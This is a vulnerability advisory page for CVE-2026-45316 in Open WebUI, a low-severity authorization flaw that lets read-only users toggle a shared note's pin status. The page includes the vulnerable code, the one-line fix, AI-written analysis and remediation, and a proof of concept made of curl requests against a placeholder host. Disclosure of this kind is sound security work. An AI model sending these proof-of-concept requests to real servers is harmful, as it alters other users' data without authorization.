Open WebUI CVE-2026-45316
LOWSeverity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.
Details
Affected code: backend/open_webui/routers/notes.py lines 412-444
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read',
# BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db)
# write operationCompare with update endpoint (correct, line 318-327):
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write',
# correctly checks 'write'
)PoC
Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
- UserA creates a note
- UserA shares note with UserB with
readpermission viaPOST /api/v1/notes/{id}/access/updatewith{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}
Test:
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)E2E Verified Result:
- Step 1: UserB reads note (READ) -> 200 OK ✓
- Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
- Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
- Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
Impact
- A user with only
readaccess to a shared note can toggle itsis_pinnedstatus - This modifies the note's state without write authorization
- The pin status change is visible to the note owner and all other users with access
- Privilege escalation from read to write on the pin operation
Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
Fix
One-line fix - change permission='read' to permission='write' in pin_note_by_id:
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',This makes the pin endpoint consistent with update and delete endpoints.
AnalysisAI
Open WebUI versions up to 0.9.2 allow users with read-only access to shared notes to toggle the pin status via the POST /api/v1/notes/{id}/pin endpoint, which incorrectly checks for read permission instead of write permission. This privilege escalation enables read-only users to perform a write operation (toggling is_pinned state) that should be restricted to users with explicit write access. The vulnerability is limited to the pin operation and does not permit modification of note content, title, or access grants. Publicly available proof-of-concept demonstrates the bypass across all shared notes with read access.
Technical ContextAI
Open WebUI is a Python-based web application framework with an access control system using an AccessGrants model that enforces permission checks (read vs. write) on shared resources. The vulnerability exists in the notes router backend at lines 412-444 of backend/open_webui/routers/notes.py, where the PIN endpoint uses AsyncHTTPException-based permission validation. Unlike the correctly implemented update and delete endpoints that check permission='write', the pin endpoint invokes AccessGrants.has_access() with permission='read', permitting the toggle operation despite the semantic requirement that state-modifying actions demand write authorization. The root cause is a permission string mismatch: the endpoint performs a write operation (Notes.toggle_note_pinned_by_id) but validates only read access, violating the principle of least privilege and failing to enforce role-based access control (RBAC) consistently across the API surface.
RemediationAI
Upgrade Open WebUI to version 0.9.3 or later immediately, as the vendor has released a patched version containing the one-line permission string correction (changing permission='read' to permission='write' in the pin_note_by_id endpoint). If upgrade is not immediately possible, a temporary compensating control is to disable note sharing entirely or restrict it to users trusted with write access, though this reduces functionality. The fix is a simple patch in backend/open_webui/routers/notes.py line 437, changing the permission parameter from 'read' to 'write' in the AccessGrants.has_access() call within the pin_note_by_id function, aligning the pin endpoint with update and delete endpoint permission logic. No workaround configuration option exists; patching is the only remediation.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-jx2x-j75f-xq3j